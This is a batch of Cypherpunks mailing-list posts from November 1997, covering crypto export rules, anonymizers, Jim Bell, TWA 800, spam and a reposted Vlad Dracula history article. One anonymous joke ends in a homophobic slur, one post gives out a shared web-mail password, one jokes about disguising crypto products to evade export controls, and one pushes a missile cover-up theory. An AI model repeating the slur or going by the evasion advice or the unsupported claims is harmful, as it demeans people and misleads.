Content-Type: text



> X-within-URL: http://www.fourthturning.com/html/great_awakening.html

>    The Great Awakening (Second Turning, 1727-1746) began as a spiritual
>    revival in the Connecticut Valley and reached an hysterical peak in
>    the northern colonies (in 1741) with the preachings of George
>    Whitefield and the tracts of Jonathan Edwards.  The enthusiasm split
>    towns and colonial assemblies, shattered the "old light"
>    establishment, and pitted young believers in "faith" against elder
>    defenders of "works."  After bursting polite conventions and lingering
>    Old World social barriers, the enthusiasm receded during King George's
>    War.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 20 Nov 1997 07:56:15 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: 3rd Great Awakening
Message-ID: <199711192358.RAA00234@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



> X-within-URL: http://www.fourthturning.com/html/third_great_awakening.html

>    The Third Great Awakening (Second Turning, 1886-1908), began with the
>    Haymarket Riot and the student missionary movement, rose with agrarian
>    protest and labor violence, and climaxed in Bryan's revivalist
>    candidacy (in 1896).  Gilded Age realism came under harsh attack from
>    trust-blasting muckrakers, Billy Sunday evangelicals, "new woman"
>    feminists, and chautauqua dreamers.  After radicalizing and splitting
>    the Progressive movement, the passion cooled when William Howard Taft
>    succeeded Teddy Roosevelt in the White House.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 20 Nov 1997 11:07:38 +0800
To: cypherpunks@cyberpass.net
Subject: Re: This judge needs killing
In-Reply-To: <Pine.LNX.3.91.971113183601.846A-100000@fatmans.demon.co.uk>
Message-ID: <v0400274ab0990e74923b@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:18 am -0500 on 11/14/97, Tim May wrote:


> Even here on Cypherpunks we see toadies like Bob Hettinga fretting that our
> words are going too far, that we must learn to police ourselves or the
> police will be forced to do so.

Nice try, Tim.

Frankly, if you, or Paul Bradley, want to stand up and call for the death
of anyone, a federal judge, or the President of the United States, or the
Pope, for that matter, you're welcome to do so. Have fun, you crazy kids...

You just sound like loons, is all, and, at some point, you're going to piss
someone off who'll have less brains but more guns than you do, and enough
lawyers after the fact to make it all stick. My opinion, of course. Free
speech, and all that. :-).


So, no, Tim, I don't believe that the mellenium is here, that the Forces of
Darkness are building in the shadows, much less going to Thanksgiving
dinner at Uncle Tim's house.

I think that they're just as fucked up as they always were, Tim. If we keep
making progress, and, barring some major silliness you or I can't even
fathom, progress in cryptography is practically an economic necessity, now,
they'll continue to bluster like some charging rhino or something, but they
can't hurt anyone who's paying attention and has the proper tools.

So, boys and girls, do you think you can stay out of the way of a very
dangerous cornered animal? Well, yes, probably, by very dint of the fact
that *you've* cornered it. However, if you think it's necessary to either
prove your bravery by tempting it to give you an ad hoc rectal exam, or
worse, by ignoring it (no one here's guilt of that, I bet) then you're
welcome to try to survive your case of testosterone poisoning, but don't
say I didn't warn you...


We have only the example of Jim Bell to remind us that when you bang on the
gorilla's cage, you should expect to get shit thrown in your face. Yes, I
saw what looks like Tim's repost of my "coalmine" message go by, and I
don't think my opinion of Bell's situation has changed since then, but I've
decided to shovel Tim's dreck FIFO, for the time being, to keep better tabs
on it.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Thu, 20 Nov 1997 11:26:43 +0800
To: Lucky Green <joswald@rpkusa.com>
Subject: RE: export restictions and investments
In-Reply-To: <01BCF43F.82159220@joswald@rpkusa.com>
Message-ID: <3.0.3.32.19971119175940.006e729c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:12 AM 11/20/1997 +0100, Lucky Green wrote:
>At this point a brief overview of modexp accelerators might be  in order:
>o the Belgian chips I've seen are too slow.
>o the Rainbow board is OK, but non-exportable.
>o the Chrysalis PCMCIA card has the same performance as the Rainbow board
>at half the price.  Also non-exportable.
>o  the Ncipher SCSI based accelearator screams, but it a bit pricey.
>UK product. Exportable (?) http://www.ncipher.com/
>o a high-end Alpha also performs rather nicely, according to some
>benchmarks Eric Young once posted.

All of the non-exportable ones sound like specialized cryptographic devices,
which are of course evil threats to Yankee National Security,
so of course they're not exportable.  On the other hand, if they weren't
crypto-specific, but just did modexps or other bignum stuff,
as long as they weren't faster than a PentiumII-400, 
and didn't use the C-word in the product literature, they'd be exportable.

				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 20 Nov 1997 08:00:37 +0800
To: cypherpunks@ssz.com
Subject: drac05.htm
Message-ID: <199711200001.SAA00285@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   From Issue #5
   
                                 VLAD DRACULA
                                       
   
An intriguing figure in the fifteenth century

   
   
   [IMAGE] By Benjamin H. Leblanc 
   valmont@lanzen.net
   M.Sc. Student, Sociology of Religion
   University of Montreal, Canada
   
   
   In less than two years from now the Count will celebrate his 100th
   birthday, and many Dracula enthusiasts from all around the world
   intend to underline this event. Of course, almost everybody has heard
   about this nosferatu: through movies featuring Max Schreck, Bela
   Lugosi, Christopher Lee or Gary Oldman; in several books - among which
   the recent Vampire Chronicles of Anne Rice; or even in bedtime stories
   told to us in our childhood. We all have an idea of who or what the
   Count is. However, on the other hand, Vlad Tepes Dracula, the
   historical figure who inspired Bram Stoker for his novel, is
   definitely less known. The centennial of the gothic masterpiece
   provides us with a good pretext to dive back into the life of this
   machiavellian fifteenth century leader - an initiative that will
   enable us to better appreciate the work of Stoker.
   
   Vlad Tepes was born in November or December 1431, in the fortress of
   Sighisoara, Romania. His father, Vlad Dracul, at that time appointed
   military governor of Transylvania by the emperor Sigismund, had been
   inducted into the Order of the Dragon about one year before. The order
   - which could be compared to the Knights of the Hospital of St. John
   or even to the Teutonic Order of Knights - was a semimilitary and
   religious society, originally created in 1387 by the Holy Roman
   Emperor and his second wife, Barbara Cilli. The main goals of such a
   secret fraternal order of knights was mainly to protect the interests
   of Catholicism, and to crusade against the Turks. There are different
   reasons why this society is so important to us. First, it provides an
   explanation for the name "Dracula;" "Dracul," in Romanian language,
   means "Dragon", and the boyars of Romania, who knew of Vlad Tepes'
   father induction into the Order of the Dragon, decided to call him
   "Dracul." "Dracula," a diminutive which means "the son of Dracul," was
   a surname to be used ultimately by Vlad Tepes. A second major role of
   this Order as a source of inspiration for Stoker's evil character is
   the Order's official dress - a black cape over a red garment - to be
   worn only on Fridays or during the commemoration of Christ's Passion.
   
   In the winter of 1436-1437, Dracul became prince of Wallachia (one of
   the three Romanian provinces) and took up residence at the palace of
   Tirgoviste, the princely capital. Vlad Tepes followed his father and
   lived six years at the princely court. In 1442, for political reasons,
   Dracula and his younger brother Radu were taken hostage by the Sultan
   Murad II; Dracula was held in Turkey until 1448, while his brother
   Radu decided to stay there until 1462. This Turkish captivity surely
   played an important role in Dracula's upbringing; it must be at this
   period that he adopted a very pessimistic view of life. Indeed, the
   Turks set him free after informing him of his father's assassination
   in 1447 - organized by Vladislav II. He also learned about his older
   brother's death - Mircea was the eldest legitimate son of Dracul - and
   how he had been tortured and buried alive by the boyars of Tirgoviste.
   
   
   At 17 years old, Vlad Tepes Dracula, supported by a force of Turkish
   cavalry and a contingent of troops lent to him by pasha Mustafa
   Hassan, made his first major move toward seizing the Wallachian
   throne. But another claimant, no other than Vladislav II himself,
   defeated him only two months later. In order to secure his second and
   major reign over Wallachia, Dracula had to wait until July of 1456,
   when he had the satisfaction of killing his mortal enemy and his
   father's assassin. Vlad then began his longest reign - 6 years -
   during which he committed many cruelties, and hence established his
   controversed reputation.
   
   His first major act of revenge was aimed at the boyars of Tirgoviste
   for the killing of his father and his brother Mircea. On Easter Sunday
   of what we believe to be 1459, he arrested all the boyar families who
   had participated to the princely feast. He impaled the older ones on
   stakes while forcing the others to march from the capital to the town
   of Poenari. This fifty-mile trek was quite grueling, and those who
   survived were not permitted to rest until they reached destination.
   Dracula then ordered them to build him a fortress on the ruins of an
   older outpost overlooking the Arges river. Many died in the process,
   and Dracula therefore succeeded in creating a new nobility and
   obtaining a fortress for future emergencies. What is left today of the
   building is identified as Castle Dracula.
   
   [IMAGE] Vlad became quite known for his brutal punishment techniques;
   he often ordered people to be skinned, boiled, decapitated, blinded,
   strangled, hanged, burned, roasted, hacked, nailed, buried alive,
   stabbed, etc. He also liked to cut off noses, ears, sexual organs and
   limbs. But his favorite method was impalement on stakes, hence the
   surname "Tepes" which means "The Impaler" in the Romanian language.
   Even the Turks referred to him as "Kaziglu Bey," meaning "The Impaler
   Prince." It is this technique he used in 1457, 1459 and 1460 against
   Transylvanian merchants who had ignored his trade laws. The raids he
   led against the German Saxons of Transylvania were also acts of
   proto-nationalism in order to protect and favour the Wallachian
   commerce activities.
   
   There are many anecdotes about the philosophy of Vlad Tepes Dracula.
   He was for instance particularly known throughout his land for his
   fierce insistence on honesty and order. Almost any crime, from lying
   and stealing to killing, could be punished by impalement. Being so
   confident in the effectiveness of his law, Dracula placed a golden cup
   on display in the central square of Tirgoviste. The cup could be used
   by thirsty travelers, but had to remain on the square. According to
   the available historic sources, it was never stolen and remained
   entirely unmolested throughout Vlad's reign. Dracula was also very
   concerned that all his subjects work and be productive to the
   community. He looked upon the poor, vagrants and beggars as thieves.
   Consequently, he invited all the poor and sick of Wallachia to his
   princely court in Tirgoviste for a great feast. After the guests ate
   and drank, Dracula ordered the hall boarded up and set on fire. No one
   survived.
   
   In the beginning of 1462, Vlad launched a campaign against the Turks
   along the Danube river. It was quite risky, the military force of
   Sultan Mehmed II being by far more powerful than the Wallachian army.
   However, during the winter of 1462, Vlad was very successful and
   managed to gain many victories. To punish Dracula, the Sultan decided
   to launch a full-scale invasion of Wallachia. Of course, his other
   goal was to transform this land into a Turkish province and he entered
   Wallachia with an army three times larger than Dracula's. Finding
   himself without allies, Vlad, forced to retreat towards Tirgoviste,
   burned his own villages and poisoned the wells along the way, so that
   the Turkish army would find nothing to eat or drink. Moreover, when
   the Sultan, exhausted, finally reached the capital city, he was
   confronted by a most gruesome sight: thousands of stakes held the
   remaining carcasses of some 20,000 Turkish captives, a horror scene
   which was ultimately nicknamed the "Forest of the Impaled." This
   terror tactic deliberately stage-managed by Dracula was definitely
   successful; the scene had a strong effect on Mehmed's most
   stout-hearted officers, and the Sultan, tired and hungry, admitted
   defeat (it is worth mentioning that even Victor Hugo, in his Legende
   des Siecles, recalls this particular incident). Nevertheless,
   following his retreat from Wallachian territory, Mehmed left the next
   phase of the battle to Vlad's younger brother Radu, the Turkish
   favorite for the Wallachian throne. At the head of a Turkish army and
   joined by Vlad's detractors, Radu pursued his brother to Poenari
   castle on the Arges river.
   
   According to the legend, this is when Dracula's wife, in order to
   escape Turkish capture, committed suicide by hurling herself from the
   upper battlements, her body falling down the precipice into the river
   below - a scene exploited by Francis Ford Coppola's production. Vlad,
   who was definitely not the kind of man to kill himself, managed to
   escape the siege of his fortress by using a secret passage into the
   mountain. Helped by some peasants of the Arefu village, he was able to
   reach Transylvania where he met the new king of Hungary, Matthias
   Corvinus. However, instead of providing some help, Matthias arrested
   Dracula and imprisoned him at the Hungarian capital of Visegrad. It
   was not until 1475 that Vlad was again recognized as the prince of
   Wallachia, enjoying a very short third reign. In fact, he was
   assassinated toward the end of December 1476.
   
   We do not know exactly why Bram Stoker chose this fifteenth century
   Romanian prince as a model for his fictional character. Some scholars
   have proposed that Stoker had a friendly relationship with a Hungarian
   professor from the University of Budapest, Arminius Vambery (Hermann
   Vamberger) , and it is likely that this man gave Stoker some
   information about Vlad Tepes Dracula. Moreover, the fact that Dr.
   Abraham Van Helsing mentions his "friend Arminius" in the 1897 novel
   as the source of his knowledge on Vlad seems to support this
   hypothesis. It should also be kept in mind that the only real link
   between the historical Dracula (1431-1476) and the modern literary
   myth of the vampire is in fact the 1897 novel; Stoker made use of
   folkloric sources, historic references and some of his own life
   experiences to create his composite creature. On the other hand, it is
   worth mentioning that Vlad Dracula's political detractors - mainly
   German Saxons - made use of the other meaning of the Romanian word
   "Dracul" - "Devil" - in order to blacken the prince's reputation.
   Could the association of the words "Dragon" and "Devil" in Romanian
   language explain an earlier link between Vlad Tepes and vampirism?
   
   Today, as Romania opens itself to the tourism industry, many "Dracula
   Tours" are being offered throughout the country. Two months ago, the
   author of this article attended one of them, organized by Bravo Group
   and designed by the Transylvanian Society of Dracula. This particular
   Tour includes the most important historical places related with Vlad
   Tepes, such as 15th century town of Sighisoara - Vlad's birth place;
   the Snagov Monastery - where, according to legend, Vlad is said to
   have been buried after his assassination; Castle Bran - which has been
   in the past erroneously described by officials of the Romanian Tourist
   Ministry as Castle Dracula; the Poenari fortress; the village of Arefu
   - where many Dracula legends are still told; the city of Brasov -
   where Vlad led raids against the German Saxons; and, of course, Curtea
   Domneasca - Dracula's palace in Bucharest. The Tour also covers the
   folklorical aspects of the fictional Dracula. For instance, one will
   find oneself eating the meal Jonathan Harker ate at The Golden Crown
   in Bistrita, and sleeping at Castle Dracula Hotel - built no so long
   ago on the Borgo Pass, approximately where the fictional castle of the
   Count is supposed to be. If you have another trip to the Bahamas
   planned for next Christmas and are a fan of Stoker's literary work,
   maybe should you reconsider your decision?
   
   As for the 100th birthday of the novel, may you celebrate "freely and
   of your own will!"
   
   Further reading
   
   Florescu, Radu, and Raymond T. McNally. Dracula: A Biography of Vlad
   the Impaler, 1431-1476. New York: Hawthorn Books, 1973. 239 pp.
   
   _________. Dracula: Prince of Many Faces; His Life and His Times.
   Boston: Little, Brown and Company, 1989, 261 pp.
   
   Giurescu, Constantin C. The Life and Deeds of Vlad the Impaler.
   Dracula. New York: Romanian Library, 1969.
   
   McNally, Raymond T., and Radu Florescu. In Search of Dracula: The
   History of Dracula and Vampires Completely Revised. 1972. Reprint.
   Boston: Houghton Mifflin Company, 1994, 297 pp.
   
   Stoicescu, Nicolae. Vlad the Impaler. Translated by Cristina
   Krikorian. Bucharest: Romanian Academy, 1978.
   
   Treptow, Kurt W., ed. Dracula: Essays on the Life and Times of Vlad
   Tepes. East European Monographs, no. 323, New York: Columbia
   University Press, 1991. 336 pp.
   
   
   The Transylvanian Society of Dracula
   47 Primaverii blvd.
   Buccuresti 1
   ROMANIA
   tel.: 401-6666195
   fax: 401-3123056
   
     _________________________________________________________________
   
   This feature appeared in Issue #5 of Journal of the Dark, and was
   written by Benjamin Leblanc. Comments may be sent to him at
   valmont@lanzen.net.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jack Oswald <dbf@rpkusa.com>
Date: Thu, 20 Nov 1997 11:02:09 +0800
To: "'sameer'" <rsalz@opengroup.org>
Subject: RE: export restictions and investments
Message-ID: <01BCF51B.5CC88AE0@Secure4.dbf@rpkusa.com>
MIME-Version: 1.0
Content-Type: text/plain



I believe that is correct.  It is not a 100% ownership.

Jack

-----Original Message-----
From:	sameer [SMTP:sameer@c2.net]
Sent:	Wednesday, November 19, 1997 10:10 AM
To:	Rich Salz
Cc:	jk@stallion.ee; whgiii@invweb.net; cryptography@c2.net; cypherpunks@toad.com
Subject:	Re: export restictions and investments

> 
> Are you really sure that they bought it all? That would go against what

	I am pretty sure that they have only a 10% stake in Elvis+.

-- 
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net
http://www.c2.net/				sameer@c2.net






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: goddesshera@juno.com (Anonymous Remailer)
Date: Thu, 20 Nov 1997 10:16:19 +0800
To: cypherpunks@Algebra.COM
Subject: Deductive Reasoning
Message-ID: <19971119.185132.20247.6.goddesshera@juno.com>
MIME-Version: 1.0
Content-Type: text/plain



Deductive Reasoning

Cypherpunk: "Hi there new neighbor, it sure is a mighty nice day to be
moving" 

Neighbor 1: "Yes, it is and people around here seem extremely
friendly"

Cypherpunk: "So what is it you do for a living?"

Neighbor 1: "I am a professor at the University, I teach deductive
reasoning"

Cypherpunk: "Deductive reasoning, what is that?"

Neighbor 1: "Let me give you and example. I see you have a dog house out
back. By that I deduce that you have a dog."

Cypherpunk: "That is right"

Neighbor 1: "The fact that you have a dog, leads me to deduce that you
have a family"

Cypherpunk: "Right again"

Neighbor 1: "Since you have a family I deduce that you have a wife"

Cypherpunk: "Correct"

Neighbor 1: "And since you have a wife I can deduce that you are
heterosexual."

Cypherpunk: "Yup"

Neighbor 1: "That is deductive reasoning"

Cypherpunk: "Cool"

Later that same day

Cypherpunk: "Hey I was talking to that new guy who moved in next door"

Neighbor 2: "Is he a nice guy?"

Cypherpunk: "Yes, and he has an interesting job"

Neighbor 2: "Oh, yeah what does he do?"

Cypherpunk: "He is a professor of deductive reasoning at the University"

Neighbor 2: "Deductive reasoning, what is that"

Cypherpunk: "Let me give you an example. Do you have a dog house?"

Neighbor 2: "No

Cypherpunk: "Fag."



This message was automatically remailed. The sender is unknown, unlogged,
and nonreplyable. Send complaints and blocking requests to
<goddesshera@juno.com>.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Thu, 20 Nov 1997 11:27:45 +0800
To: Robert Hettinga <cypherpunks@cyberpass.net
Subject: Re: Invasive interface
In-Reply-To: <v0400272eb097920be0a3@[139.167.130.246]>
Message-ID: <3.0.3.32.19971119181404.006e729c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:42 PM 11/18/1997 -0500, Robert Hettinga wrote:
>On a somewhat related issue Eduardo Kac from the Chicago Art Institute
>last week sucessfully implanted a microchip under his skin.  This is
>much more of a "dumb" chip as it simply can report back an ID number
>when queried and doesn't really have any sensing or processing.
>However, it is notable because it was done by a non-medical individual
>on his own accord and at least shows that implants are becoming a more
>accessable to the common person. 

It's not tough - you can get implants for your cat or dog for ~$25.
They're installed by a vet, but it's a simple subcutaneous injection,
so all they need to do is disinfect the site, pinch some skin,
and inject it carefully, (and try to keep from getting bitten.)
No different for injecting in into a human, except the government 
wants you to have their permission to practice medicine,
and you may not need to worry about getting bitten.

				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Benjamin Chad Wienke" <woodwose@mailexcite.com>
Date: Thu, 20 Nov 1997 10:29:48 +0800
To: cypherpunks@cyberpass.net
Subject: Re: RESULT: comp.org.cauce passes 548:122
Message-ID: <MBKABBDLLOKHBAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>> ichudov@algebra.com (Igor Chudov @ home) writes:
>>    
>> >What I _do_ see is that the un-elected "representatives" of CAUCE 

>> >outlawed anonymous postings in their newsgroup.
>>  
>>         To repeat for everyone else - they have done no such thing.
>> Anonymous postings are still okay in comp.org.cauce - however, the
address
>> must point back to a real address.  
>
>If an address points back to a real address, then it's not
*ANONYMOUS*, 
>though.

You could always use the Woodwose Remailer--login to the URL above and
enter userID woodwose and the password jaguar7.  It is a valid return
address (the web interfase allows you to send & receive email), but it
is not connected with a True Name.
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-----END PGP SIGNATURE-----




Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>Nerthus <cypherpunks@cyberpass.net>
Date: Thu, 20 Nov 1997 10:36:01 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Illusion of Freedom
Message-ID: <199711200225.SAA25951@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Monty Cantsin wrote:
>However, most people who engage in war are not in any sense free and
>the single most apparent feature of life in a military organization is
>the elimination of freedom and privacy.
>
>It is most often the case that in order to wage war, one must first
>become enslaved.

Those who wage war are rarely the slaves.  Those who die usually are.
The "cannon fodder" you mentioned.

Gives new meaning to to phrase "...give me liberty, or give me death."

Nerthus

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-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Auto Truck Depot <atd@stopgocal.com>
Date: Thu, 20 Nov 1997 09:23:47 +0800
To: "cypherpunks" <cypherpunks@toad.com>
Subject: FREE OFFER
Message-ID: <eaep.3.0.reg.DanCR7.35753.7591636574@mail.stopgocal.com>
MIME-Version: 1.0
Content-Type: text/plain




//////////////////////////////////////////////////////////
  If you would like to be removed from our mailing list, please
  reply to this message with "remove" as the subject and you
  will not receive any more email from our server.
/////////////////////////////////////////////////////////

FREE $20.00 GIFT CERTIFICATE
Please visit our coupon page at
http://www.stopgocal.com/atd/index.html

11/19/97





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 20 Nov 1997 06:49:30 +0800
To: lse@saint-elie.com
Subject: Re: Looking for a Web anonymiser
In-Reply-To: <3.0.5.32.19971119173241.0081c920@mail.imaginet.fr>
Message-ID: <199711191832.SAA05591@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Luc Saint-Elie <lse@saint-elie.com> writes:
> I'm in great need for a web anonymiser supporting https connections
> (that's not alas the case for excellent www.anonymiser.com)

I think Lance Cottrell offers SSL connections for a fee (he takes
payments in digicash also.)

Check out www.cyberpass.net for details, I would think.

Adam





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: buzzreg@central.cnet.com
Date: Thu, 20 Nov 1997 10:48:18 +0800
To: cypherpunks@toad.com
Subject: Welcome to Builder buzz!
Message-ID: <199711200239.SAA06040@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Welcome, cypherpunk.

You have registered as a provisional user for Builder buzz. To become a full
member, please email the following member code line back to us, so we can
confirm your email address. With most email programs, you can simply reply to
this message. (If your email program doesn't include the previous message in
its replies, you may need to cut and paste the member code line into the reply
message.)

   MEMBER CODE: 1c72 qCf0zipj 

Thank you for joining us, and we look forward to having you visit often and
participate completely in the Builder buzz conversations!

Regards,
Dan Shafer
master builder and Builder buzz host





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Thu, 20 Nov 1997 11:28:20 +0800
To: "Brian W. Buchanan" <cypherpunks@Algebra.COM
Subject: Re: ITAR
In-Reply-To: <19971119010002.15815.qmail@nym.alias.net>
Message-ID: <3.0.3.32.19971119184501.006e729c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



First of all, you're the first person I've seen with a Niue address -
congratulations!  (South Pacific Island suburb of Lompoc :-)

At 05:27 PM 11/18/1997 -0800, Brian W. Buchanan <brian@smarter.than.nu> wrote:
>I've always been told that software with function hooks for crypto was
>just as unexportable as crypto itself.  

The legal status of crypto-equipment-without-the-crypto-plugin is
fuzzier under the current regime than the previous one, but it was
basically illegal to export components of a cryptosystem.

> doesn't make sense
You answered that correctly later:
>Of course, this is the goobermint we're dealing with...

So don't export that crypto-cellphone - export a phone with
voice amplifier software implemented as a plugin, 
or a digital background noise reducer,
or programmable muzak-on-hold replacement, or
or even enhanced authentication protocols.
They're not crypto devices, they're perfectly normal commercial products,
and you're shocked, _shocked_ at the free scratchy-white-noise background
music plugin that somebody with entirely no musical taste is shipping,
or that some Bulgarian hackers are abusing your phone to provide service
to Colombian narcoterroristas in blatant violation of their warranty.
				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 20 Nov 1997 10:51:19 +0800
To: John Young <cypherpunks@Algebra.COM
Subject: Re: NBC Mugs Jim Bell
In-Reply-To: <1.5.4.32.19971120003433.007127f0@pop.pipeline.com>
Message-ID: <v03102803b099469547d8@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:34 PM -0700 11/19/97, John Young wrote:
>An NBC News story this evening on the threat of CB
>terrorism full-screened a closeup of Jim Bell's mug shot,
>the same as the lead photo in US News last week. The
>story presented much the same line and Internet
>sources of frightening information but did not balance
>it with a sidebar on burgeoning anti-terrorist opportunism
>as did US News.

Just in time for his sentencing tomorrow.....

Sort of like the way one of the guns on the list of "stolen guns" (from a
gunshop) had been bought by Terry Nichols a year before the robbery,
according to records which showed up in trial today.  "Whoops."  Sounds
like a setup, with false evidence, that the government screwed up.

Justice in Amerika. "Manufacturing Consent," indeed.

Go see "The Jackal" and root for Bruce Willis...I know I did.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Rotenberg <rotenberg@epic.org>
Date: Thu, 20 Nov 1997 08:14:39 +0800
To: "Vladimir Z. Nuri" <declan@well.com>
Subject: Re: From the Files - Freeh and Flight 800
In-Reply-To: <Pine.GSO.3.95.971118140330.17258F-100000@well.com>
Message-ID: <v03007800b098e6c94f4e@[207.172.96.252]>
MIME-Version: 1.0
Content-Type: text/plain




FWIW, Kallstrom spent much of his time at the press
conference this week debunking the missle theory.
The FBI's explanation for why so many eyewitnesses
appeared to see a missile approach the plane boils
down to this: observers, alerted by the explosion,
were actually observing a wing falling away from
the plane.

Marc.


At 11:14 PM -0000 11/19/97, Vladimir Z. Nuri wrote:
>I don't understand TCM's recent comments about Kallstrom
>doing a "good job" on proving or concluding that the airliner TWA800
>was not shot down or bombed.
>
>anyone who has followed anything written by Ian Goddard
>on the internet can only drop their mouth in disbelief.
>
>I urge anyone who wants more facts on the matter to look
>up Ian Goddard's web site on a search engine. there is
>a lot of really solid evidence, including extremely credible
>eyewitness accounts, that it was a MISSILE. whether it was
>from our own government or not is a question -- but I
>fail to see how any well-informed people cannot be aware
>of the foul, odiferous coverup by the FBI (which to me
>suggests it was a US military exercise)
>
>also see the book by James Sanders, "the downing of flight TWA800"--
>he had a confidential informant involved in the NTSB
>investigation.
>
>
>
>
>
>---------- Forwarded message ----------
>Date: Thu, 13 Nov 1997 12:37:04 -0500
>From: Marc Rotenberg <rotenberg@epic.org>
>To: rotenberg@epic.org
>Subject: From the Files - Freeh and Flight 800
>
>
>Today the FBI ended the TWA Flight 800 criminal probe. The FBI's
>lead investigator James Kallstrom said that the FBI found
>"absolutely no evidence" that the tragedy was the result of
>a criminal act.
>
>But what was the FBI telling Congress after the incident
>occurred? The following expert from CNN is worth saving.
>Keep in mind that the FBI Director was simultaneously
>lobbying the Judiciary Committee for expanded wiretap
>authority.
>
>Marc.
>
>
>>From the CNN, July 20, 1996
>[http://cnn.com/US/9607/20/twa.crash.probe/index.html]
>
>U.S. Sen. Orrin Hatch, R-Utah, who was among members of Congress briefed
>Friday by FBI Director Louis Freeh, said it looked "pretty darn conclusive"
>that
>either a bomb or a missile caused the explosion.
>
>"We're looking at a criminal act," Hatch said. "We're looking at somebody who
>either put a bomb on it or shot a missile, a surface-to-air missile."
>
>Hatch, chairman of the Judiciary Committee, told CNN he came to his
>conclusions
>after "various conversations" with government officials.
>
>"I won't go so far as to say it was terrorism, but there was sabotage
>here," Hatch
>said. "It looks like that."
>
>"It's very -- almost 100 percent unlikely -- that this was a mechanical
>failure," he
>said. "It looks pretty darn conclusive that it was an explosion caused either
>internally or externally that was caused by a criminal act."
>
> * * *



==================================================================
Marc Rotenberg, director                *   +1 202 544 9240 (tel)
Electronic Privacy Information Center   *   +1 202 547 5482 (fax)
666 Pennsylvania Ave., SE Suite 301     *   rotenberg@epic.org
Washington, DC 20003   USA              +   http://www.epic.org
==================================================================






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>Nerthus <cypherpunks@cyberpass.net>
Date: Thu, 20 Nov 1997 11:30:05 +0800
To: cypherpunks@cyberpass.net
Subject: Billboards as Sight Bites
Message-ID: <199711200311.TAA02459@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Duncan Frissell wrote:
>Tim May wrote:
>> It's time to "Just Say No" to the U.N. The John Birch Society makes
>> more sense every day.
>
>US out of the UN and UN out of the US.

Yup, seen the billboard.  Evidently the JBS is starting a new billboard
campaign on December 1st calling for the impeachment of Clinton.

Nerthus

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Thu, 20 Nov 1997 08:20:33 +0800
To: cypherpunks@toad.com
Subject: Re: Report on UN conference on Internet and racism
Message-ID: <532d5c8e06a123ce2c6bc69646495202@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



At 10:27 PM 11/18/97 -0600, Mr. Geiger wrote:
>
>-----BEGIN PGP SIGNED MESSAGE-----
>
>In <3.0.16.19971118231927.0dc71f6e@pop.mindspring.com>, on 11/18/97 
